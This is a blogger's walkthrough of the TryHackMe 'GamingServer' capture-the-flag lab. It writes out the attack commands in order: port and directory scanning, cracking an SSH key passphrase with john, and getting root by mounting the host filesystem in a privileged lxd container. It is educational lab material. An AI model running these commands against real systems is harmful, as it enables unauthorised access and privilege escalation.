Sitemap
X1mi16

X1mi16

GamingServer thm

4 min readAug 24, 2026

--

Doing quick nmap scan “sudo nmap -p- -sC -sV 10.145.137.48” the port 22 and 80 were open

Press enter or click to view image in full size

after visiting the website i found a page where you can see the uploaded files the server has i could use this to gain a reverse shell

Press enter or click to view image in full size

looking at the page source theres a line where someone tell john to add some content this user can be used to brute force a log-in page or use it to log in via ssh

ok, so doing a brute force enumeration with gobuster (“gobuster dir -u http://10.145.137.48/ -w /usr/share/seclists/Discovery/Web-Content/common.txt”) i found some interest paths to look

Press enter or click to view image in full size

after visiting the paths the secret. One had a ssh key encrypted and in the uploads one i found a wordlist that could be used to know the passphrase of the ssh key so ill be using john the ripper to get it

To begin with bruteforcing the passphrase is so easy first of all we save the sshkey to a file with nano, then use this command “ssh2john sshkey.txt > sshkey.hash” to convert the ssh key to a format that the tool can decrypt then use this command to brute force it “john — wordlist=/home/kali/Desktop/gamservers/passlist.txt sshkey.hash” the wordlist i used is the same as the one on the uploads path. the output is this

Press enter or click to view image in full size

it worked correctly the “letmein” as the passphrase

Get X1mi16’s stories in your inbox

Join Medium for free to get updates from this writer.

After this we connect to the ssh with the user john and the using this ssh key

Press enter or click to view image in full size

and there we have it an ssh log-in so lets get the user flag

after doing enumeration with linpeas i found that the kernel version was vulnerable to “CVE-2018–18955" but when i tried to the PoC gcc was not found so i discovered that the user john was in the “lxd” basically that group manages the lxd containers, by design the lxd group runs with root permisions so when you add a common user to the lxd group you allow the user to interact with the background service without needing a sudo password.

So the first thing i did was prepare the alpine image

Press enter or click to view image in full size

and then downloaded “https://github.com/saghul/lxd-alpine-builder/blob/master/alpine-v3.13-x86_64-20210218_0139.tar.gz” so after that i sent the file to the victim by setting a python server with “python3 -m http.server”

Press enter or click to view image in full size
Press enter or click to view image in full size

i imported the image with “lxc image import alpine-v3.13-x86_64–20210218_0139.tar.gz — alias myimage”

then i initialized a privileged container with “lxc init myimage ignite -c security.privileged=true”

mounted the host filesystem with “lxc config device add ignite my device disk source=/ path=/mnt/root recursive=true”

started the container “lxc start ignite”

and i finally executed it to get the root shell “lxc exec ignite /bin/sh”

now to get the root flag i have to cd to /mnt/root because thats where i mounted the container after that i got the flag

Press enter or click to view image in full size

--

--